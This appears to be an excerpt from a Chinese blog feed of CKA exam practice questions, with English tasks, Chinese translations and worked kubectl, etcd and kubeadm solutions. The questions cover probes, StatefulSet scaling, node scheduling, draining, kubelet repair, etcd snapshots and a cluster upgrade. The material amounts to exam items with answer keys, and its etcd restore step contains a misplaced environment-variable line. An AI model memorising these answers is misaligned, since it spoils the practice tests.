        <content type="html"><![CDATA[<hr><p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Do the following in Namespace default. Create a single Pod named <code>ready-if-service-ready</code> of image  <code>nginx:1.16.1-alpine</code> . Configure a LivenessProbe which simply executes command  <code>true</code> . Also configure a ReadinessProbe which does check if the url <code>http://service-am-i-ready:80</code> is reachable, you can use <code>wget -T2 -O- http://service-am-i-ready:80</code> for this. Start the Pod and confirm it isn’t ready because of the ReadinessProbe.</p><p>Create a second Pod named <code>am-i-ready</code> of image <code>nginx:1.16.1-alpine</code> with label  <code>id: cross-server-ready</code> . The already existing Service <code>service-am-i-ready</code> should now have that second Pod as endpoint.</p><p>Now the first Pod should be in ready state, confirm that.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在默认命名空间中执行以下操作。 创建名为 <code>ready-if-service-ready</code> 的单个 Pod，镜像为  <code>nginx:1.16.1-alpine</code> 。 配置一个只执行命令 <code>true</code> 的 LivenessProbe。 还要配置一个 ReadinessProbe ，它会检查 url <code>http://service-am-i-ready:80</code> 是否可达，您可以为此使用 <code>wget -T2 -O- http://service-am-i-ready:80</code> . 启动 Pod 并确认它因 ReadinessProbe 而未就绪。</p><p>创建第二个名为 <code>am-i-ready</code> 的 Pod，镜像为  <code>nginx:1.16.1-alpine</code> ，标签  <code>id: cross-server-ready</code> 。 已经存在的服务 <code>service-am-i-ready</code> 现在应该将第二个 Pod 作为端点。</p><p>现在第一个 Pod 应该处于就绪状态，确认一下。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>创建pod文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run ready-if-service-ready --image=nginx:1.16.1-alpine <span class="variable">$do</span> &gt; 4_pod1.yaml</span><br><span class="line">vim 4_pod1.yaml</span><br></pre></td></tr></table></figure><p>4_pod1.yaml</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 4_pod1.yaml</span></span><br><span class="line">apiVersion: v1</span><br><span class="line">kind: Pod</span><br><span class="line">metadata:</span><br><span class="line">  creationTimestamp: null</span><br><span class="line">  labels:</span><br><span class="line">    run: ready-if-service-ready</span><br><span class="line">  name: ready-if-service-ready</span><br><span class="line">spec:</span><br><span class="line">  containers:</span><br><span class="line">  - image: nginx:1.16.1-alpine</span><br><span class="line">    name: ready-if-service-ready</span><br><span class="line">    resources: &#123;&#125;</span><br><span class="line">    livenessProbe:                                      <span class="comment"># add from here</span></span><br><span class="line">      <span class="built_in">exec</span>:</span><br><span class="line">        <span class="built_in">command</span>:</span><br><span class="line">        - <span class="string">&#x27;true&#x27;</span></span><br><span class="line">    readinessProbe:</span><br><span class="line">      <span class="built_in">exec</span>:</span><br><span class="line">        <span class="built_in">command</span>:</span><br><span class="line">        - sh</span><br><span class="line">        - -c</span><br><span class="line">        - <span class="string">&#x27;wget -T2 -O- http://service-am-i-ready:80&#x27;</span>   <span class="comment"># to here</span></span><br><span class="line">  dnsPolicy: ClusterFirst</span><br><span class="line">  restartPolicy: Always</span><br><span class="line">status: &#123;&#125;</span><br></pre></td></tr></table></figure><p>应用文件创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 4_pod1.yaml create</span><br></pre></td></tr></table></figure><p>检查pod状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod ready-if-service-ready</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/69827b7b4b8ee30f6c277ffdf20af797f7ba9e047defab848bec5c2e8c0f915b.jpg" alt="readlinessprobe-0">  </p><p>使用describe检查原因</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k describe pod ready-if-service-ready</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/3b197bd343b398c480a5536819ee02a2d4bbfaaf28fa625d80a634bcbccdfe70.jpg" alt="readlinessprobe-1">  </p><p>创建第二个pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run am-i-ready --image=nginx:1.16.1-alpine --labels=<span class="string">&quot;id=cross-server-ready&quot;</span></span><br></pre></td></tr></table></figure><p>检查服务和Endpoint</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k describe svc service-am-i-ready</span><br><span class="line">k get ep</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/469ac507f4ddd594267738628e58734398e03175045fe53a0da718266a5226d1.jpg" alt="readlinessprobe-2">  </p><p>检查第一个pod运行状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod ready-if-service-ready</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/7dad762c440b74a6d9216cd875155cebd7de7b4f3e62f67e9d0f68bcd44b1b7b.jpg" alt="readlinessprobe-3">  </p><hr>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 3 | Scale down StatefulSet</title>
      <link href="/archives/kubernetes/CKA/statefulset-scale.html"/>
      <url>/archives/kubernetes/CKA/statefulset-scale.html</url>
      
        <content type="html"><![CDATA[<hr><p>Use context:  <code>kubectl config use-context k8s-c1-H</code></p><p>There are two Pods named  <code>o3db-**</code> in Namespace  <code>project-c13</code>. C13 management asked you to scale the Pods down to one replica to save resources.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>名称空间 <code>project-c13</code> 中有两个名为 <code>o3db-**</code> 的Pod。C13管理层要求你将Pods缩减到一个副本，以节省资源。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查pods</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-c13 get pod | grep o3db</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/07bdbcd2f70ed00beb4c597a093ee1ab484b862903e229df3de1672d8a6471ae.jpg" alt="statefulset-scale-0"></p><p>检查常用资源</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-c13 get deploy,ds,sts | grep o3db</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/3bb2ba7019ea13101ac27334339e771d39bc6c592709d4a3aceaa986efa3ef44.jpg" alt="statefulset-scale-1"></p><p>查看pod标签,可以看到statefulset字段</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-c13 get pod --show-labels | grep o3db</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/77c15f1f3de311d1a203c22c057f72b994e375daf644131a65a5c051e9be80bc.jpg" alt="statefulset-scale-2"></p><p>对statefulset中3db进行缩容</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-c13 scale sts o3db --replicas 1</span><br><span class="line">k -n project-c13 get sts o3db</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/fbde69e8c33dc0be6857b688a45a60a3ad8a956fdabdf69ded77b07cd0cb5435.jpg" alt="statefulset-scale-3"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 2 | Schedule Pod on Controlplane Node</title>
      <link href="/archives/kubernetes/CKA/node-schedule-2.html"/>
      <url>/archives/kubernetes/CKA/node-schedule-2.html</url>
      
        <content type="html"><![CDATA[<hr><p>Task weight: 3%</p><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Create a single Pod of image <code>httpd:2.4.41-alpine</code> in Namespace  <code>default</code> . The Pod should be named <code>pod1</code> and the container should be named  <code>pod1-container</code> . This Pod should <code>only</code> be scheduled on a <code>controlplane</code> node, do not add new labels any nodes.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在namespace <code>default</code> 中创建一个 <code>httpd:2.4.41-alpine</code> 的Pod。这个Pod应该被命名为 <code>pod1</code> ，容器应该被命名为 <code>pod1-container</code> 。这个Pod应该只被安排在<code>控制平面节点</code>上，不要在任何节点上添加新的标签。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>首先，我们找到控制平面节点和它们的污点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node <span class="comment">#找到controlplane节点</span></span><br><span class="line">k describe node cluster1-controlplane1 | grep -i taints -A1 <span class="comment">#查看节点污点</span></span><br><span class="line">k get node cluster1-controlplane1 --show-labels <span class="comment">#查看节点标签</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/93651bc3dd92c3498681c85cc909e5a080ef8f44462ed185a73368aa3574259f.jpg" alt="node-selector-2-0">  </p><p>创建一个pod模板</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run pod1 --image=httpd:2.4.41-alpine <span class="variable">$do</span> &gt; 2.yaml</span><br><span class="line">vim 2.yaml</span><br></pre></td></tr></table></figure><p>2.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 2.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">pod1</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">pod1</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">httpd:2.4.41-alpine</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">pod1-container</span>                       <span class="comment"># change</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line">  <span class="attr">tolerations:</span>                                 <span class="comment"># add</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">effect:</span> <span class="string">NoSchedule</span>                         <span class="comment"># add</span></span><br><span class="line">    <span class="attr">key:</span> <span class="string">node-role.kubernetes.io/control-plane</span> <span class="comment"># add</span></span><br><span class="line">  <span class="attr">nodeSelector:</span>                                <span class="comment"># add</span></span><br><span class="line">    <span class="attr">node-role.kubernetes.io/control-plane:</span> <span class="string">&quot;&quot;</span>  <span class="comment"># add</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 2.yaml create</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/8ee01e818c226f96a24ea796cc1e933da0f5ad72f2680242401704dc82304165.jpg" alt="node-selector-2-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 1 | Contexts</title>
      <link href="/archives/kubernetes/CKA/Contexts.html"/>
      <url>/archives/kubernetes/CKA/Contexts.html</url>
      
        <content type="html"><![CDATA[<hr><p>Task weight: 1%</p><p>You have access to multiple clusters from your main terminal through kubectl contexts. Write all those context names into   <code>/opt/course/1/contexts</code> .</p><p>Next write a command to display the current context into   <code>/opt/course/1/context_default_kubectl.sh</code>  , the command should use <code>kubectl</code>.</p><p>Finally write a second command doing the same thing into   <code>/opt/course/1/context_default_no_kubectl.sh</code>  , but without the use of <code>kubectl</code>.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>你可以通过  <code>kubectl contexts</code>  从你的主终端访问多个集群。把所有这些上下文的名字写进  <code>/opt/course/1/contexts</code> 。</p><p>接下来写一条显示当前环境的命令到 <code>/opt/course/1/context_default_kubectl.sh</code> ，该命令应使用 <code>kubectl</code> 。</p><p>最后写第二条命令做同样的事情到 <code>/opt/course/1/context_default_no_kubectl.sh</code> ，但不使用 <code>kubectl</code> 。</p><hr><p>解答:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k config get-contexts <span class="comment"># copy manually</span></span><br><span class="line">k config get-contexts -o name &gt; /opt/course/1/contexts</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/bc27817e456f8350ff067c7193f57ce3ee78201aa755390f8e0d80799f98f5d0.jpg" alt="Contexts-0"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config current-context</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubectl config current-context&quot;</span> &gt; /opt/course/1/context_default_kubectl.sh</span><br><span class="line">bash /opt/course/1/context_default_kubectl.sh</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/5fd671f3e913bd54ce05a6cc1786e404f1b8d4d4d6fe5afb8528b816afdf329e.jpg" alt="Contexts-1"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> ~/.kube/config | grep current | awk <span class="string">&#x27;&#123;printf $2&#125;&#x27;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;cat ~/.kube/config | grep current | awk &#x27;&#123;printf <span class="variable">$2</span>&#125;&#x27;&quot;</span> &gt; /opt/course/1/context_default_no_kubectl.sh</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/cbaae36d2f2d0991b0bbb615808d089473a5356da9c4fbc94b6779f69b79bc3d.jpg" alt="Contexts-2"></p><hr><p><a href="https://www.hao.kim/upload/Killer-CKA-Simulator.html">Killer.sh CKA模拟题目 汇总</a></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | 练习环境设置变量及vim参数</title>
      <link href="/archives/kubernetes/CKA/env-setting.html"/>
      <url>/archives/kubernetes/CKA/env-setting.html</url>
      
        <content type="html"><![CDATA[<p>为了方便的在考试模拟环境中高效的操作和练习, 建议进行如下设置</p><p>设置kubectl别名k</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">alias</span> k=kubectl</span><br></pre></td></tr></table></figure><p>设置一些全局变量</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> <span class="keyword">do</span>=<span class="string">&quot;--dry-run=client -oyaml&quot;</span></span><br><span class="line"><span class="built_in">export</span> now=<span class="string">&quot;--force --grace-period 0&quot;</span></span><br></pre></td></tr></table></figure><p>设置vim ~&#x2F;.vimrc</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line"><span class="keyword">set</span> tabstop=<span class="number">2</span></span><br><span class="line"><span class="keyword">set</span> expandtab</span><br><span class="line"><span class="keyword">set</span> <span class="built_in">shiftwidth</span>=<span class="number">2</span></span><br><span class="line"><span class="keyword">set</span> ai</span><br></pre></td></tr></table></figure><p>也可以缩写为</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;set  ai ts=2 sw=2 et&quot;</span> &gt;&gt; ~/.vimrc</span><br><span class="line"><span class="built_in">source</span> ~/.vimrc</span><br></pre></td></tr></table></figure><p>含义:</p><ul><li>ai &#x3D; auto indent，自动退格对齐</li><li>set tabstop&#x3D;2（ts&#x3D;tabstop，即一个tab的宽度被设为2个空格辣么宽）</li><li>set shiftwidth&#x3D;2（sw&#x3D;shiftwidth，即退格对齐以2个空格为准）</li><li>set expandtab（et&#x3D;expandtab，将tab变成空格）</li></ul><blockquote><p>以上设置killer.sh一般已经设置好</p></blockquote><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">alias</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$do</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/7d2b604ea3ce52cf20f60b26f7c67ac703c315166c2179110d092110849f74fe.jpg" alt="env-setting-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 17. 节点维护</title>
      <link href="/archives/kubernetes/CKA/node-drain.html"/>
      <url>/archives/kubernetes/CKA/node-drain.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context ek8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>将名为 <code>node02</code> 的 node 设置为 不可用，并重新调度该 node 上所有运行的 pods。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>任务 –&gt; 管理集群 –&gt; 安全地清空一个节点<br><a href="https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/safely-drain-node/">https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/safely-drain-node/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get nodes</span><br><span class="line">kubectl cordon node02</span><br><span class="line">kubectl get nodes</span><br><span class="line">kubectl drain node02 --ignore-daemonsets --delete-emptydir-data --force</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get node</span><br><span class="line">kubectl get pod -A -o wide | grep node02</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 16. 排查集群中故障节点</title>
      <link href="/archives/kubernetes/CKA/node-check.html"/>
      <url>/archives/kubernetes/CKA/node-check.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context wk8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>名为 <code>node02</code> 的 Kubernetes worker node 处于 <code>NotReady</code> 状态。 调查发生这种情况的原因，并采取相应的措施将 node 恢复为 <code>Ready</code> 状态，确保所做的任何更改永久生效。<br>可以使用以下命令，通过ssh连接到node02节点： <code>ssh node02</code><br>可以使用以下命令，在该节点上获取更高权限： <code>sudo -i</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>检查服务<br><a href="https://kubernetes.io/zh-cn/docs/setup/production-environment/tools/kubeadm/kubelet-integration/">https://kubernetes.io/zh-cn/docs/setup/production-environment/tools/kubeadm/kubelet-integration/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><p>检查故障节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get nodes</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/9c617e9e6621ae56ddce583aee95ad93ed8a97057f3355d8def780e2addeb8f3.jpg" alt="node-check-0">  </p><p>切换到故障节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh node02</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl status kubelet</span><br><span class="line">systemctl <span class="built_in">enable</span> kubelet --now</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl status kubelet</span><br><span class="line">kubectl get nodes</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 15. 备份还原etcd</title>
      <link href="/archives/kubernetes/CKA/etcd.html"/>
      <url>/archives/kubernetes/CKA/etcd.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境 此项目无需更改配置环境。但是，在执行此项目之前，请确保您已返回初始节点。<br><code>[candidate@master01] $ exit</code></p><p><code>[candidate@master01] #</code></p><p>注意，这个之前是在master01上，所以要exit退到node01，如果已经是node01了，就不要再exit了。</p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>首先，为运行在 <code>https://11.0.1.111:2379</code> 上的现有 <code>etcd</code> 实例创建快照并将快照保存到 <code>/var/lib/backup/etcd-snapshot.db</code><br>（注意，真实考试中，这里写的是 <code>https://127.0.0.1:2379</code> 为给定实例创建快照预计能在几秒钟内完成。<br>如果该操作似乎挂起，则命令可能有问题。用 <code>CTRL + C</code> 来取消操作，然后重试。<br>然后还原位于 <code>/data/backup/etcd-snapshot-previous.db</code> 的现有先前快照。 提供了以下 TLS证书 和 密钥 ，以通过 <code>etcdctl</code> 连接到服务器。</p><ul><li>CA 证书: &#x2F;opt&#x2F;KUIN00601&#x2F;ca.crt</li><li>客户端证书: &#x2F;opt&#x2F;KUIN00601&#x2F;etcd-client.crt</li><li>客户端密钥: &#x2F;opt&#x2F;KUIN00601&#x2F;etcd-client.key</li></ul><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>任务 –&gt; 管理集群 –&gt; 为 Kubernetes 运行 etcd 集群<br><code>https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/configure-upgrade-etcd/</code></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p><p>特别注意，etcd这道题，在考试时做完后，就不要回头检查或者操作了。因为它是用的前一道题的集群，所以一旦你回头再做时，切换错集群了，且又将etcd还原了，反而可能影响别的考题</p></blockquote><p>备份etcd</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> ETCDCTL_API=3</span><br><span class="line">etcdctl  \</span><br><span class="line">--endpoints=<span class="string">&quot;https://127.0.0.1:2379&quot;</span> \</span><br><span class="line">--cacert=<span class="string">&quot;/opt/KUIN00601/ca.crt&quot;</span> \</span><br><span class="line">--cert=<span class="string">&quot;/opt/KUIN00601/etcd-client.crt&quot;</span> \</span><br><span class="line">--key=<span class="string">&quot;/opt/KUIN00601/etcd-client.key&quot;</span> \</span><br><span class="line">snapshot save /var/lib/backup/etcd-snapshot.db</span><br></pre></td></tr></table></figure><p>恢复etcd</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> ETCDCTL_API=3</span><br><span class="line">etcdctl \</span><br><span class="line">--endpoints=<span class="string">&quot;https://127.0.0.1:2379&quot;</span> \</span><br><span class="line">--cacert=<span class="string">&quot;/opt/KUIN00601/ca.crt&quot;</span> \</span><br><span class="line">--cert=<span class="string">&quot;/opt/KUIN00601/etcd-client.crt&quot;</span> \</span><br><span class="line">--key=<span class="string">&quot;/opt/KUIN00601/etcd-client.key&quot;</span> \</span><br><span class="line">snapshot restore /data/backup/etcd-snapshot-previous.db</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">etcdctl snapshot status /var/lib/backup/etcd-snapshot.db -wtable  </span><br><span class="line"><span class="comment"># 考试时，这些检查动作，都可以不做</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> etcd </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 14. 升级集群</title>
      <link href="/archives/kubernetes/CKA/cluster-update.html"/>
      <url>/archives/kubernetes/CKA/cluster-update.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context mk8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>现有的Kubernetes 集群正在运行版本 <code>1.25.1</code> 。仅将master节点上的所有 <code>Kubernetes控制平面</code> 和 <code>节点组件</code> 升级到版本 <code>1.25.2</code> 。<br>确保在升级之前 <code>drain master</code> 节点，并在升级后 <code>uncordon master</code> 节点。<br>可以使用以下命令，通过ssh连接到master节点： <code>ssh master01</code><br>可以使用以下命令，在该master节点上获取更高权限： <code>sudo -i</code><br>另外，在 <code>主节点</code> 上升级 <code>kubelet</code> 和 <code>kubectl</code> 。 请不要升级 <code>工作节点</code> <code>，etcd</code> ，<code>container 管理器</code>，<code>CNI插件</code>， <code>DNS服务</code> 或 任何其他插件。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>任务 –&gt; 管理集群 –&gt; 用 kubeadm 进行管理 –&gt; 升级 kubeadm 集群<br><a href="https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/kubeadm/kubeadm-upgrade/">https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/kubeadm/kubeadm-upgrade/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get nodes</span><br></pre></td></tr></table></figure><p>维护和驱逐</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl cordon master01</span><br><span class="line">kubectl drain master01 --ignore-daemonsets</span><br></pre></td></tr></table></figure><p>连接master01 并 提升权限</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh master01</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><p>更新软件列表查看可更新版本, 升级对应版本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get update</span><br><span class="line">apt-cache show kubeadm | grep 1.25.2</span><br><span class="line">apt-get install kubeadm=1.25.2-00 kubelet=1.25.2-00 kubectl=1.25.2-00</span><br><span class="line">kubeadm upgrade apply v1.25.2 --etcd-upgrade=<span class="literal">false</span></span><br></pre></td></tr></table></figure><p>更新时如果提示无法升级,可能是设置了hold,用unhold解除标记再更新</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 解除 阻止更新 标记</span></span><br><span class="line">apt-mark unhold kubeadm kubectl kubelet</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置软件包保留,阻止自动更新</span></span><br><span class="line">apt-mark hold kubeadm kubectl kubelet</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubeadm version</span><br><span class="line">kubelet --version</span><br><span class="line">kubectl version</span><br></pre></td></tr></table></figure><p>重启kubelet</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl daemon-reload</span><br><span class="line"><span class="built_in">sudo</span> systemctl restart kubelet</span><br></pre></td></tr></table></figure><p>恢复master01 调度</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl uncordon master01</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get node</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> cluster </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 13. 使用 sidecar 代理容器日志</title>
      <link href="/archives/kubernetes/CKA/sidecar-log.html"/>
      <url>/archives/kubernetes/CKA/sidecar-log.html</url>
      
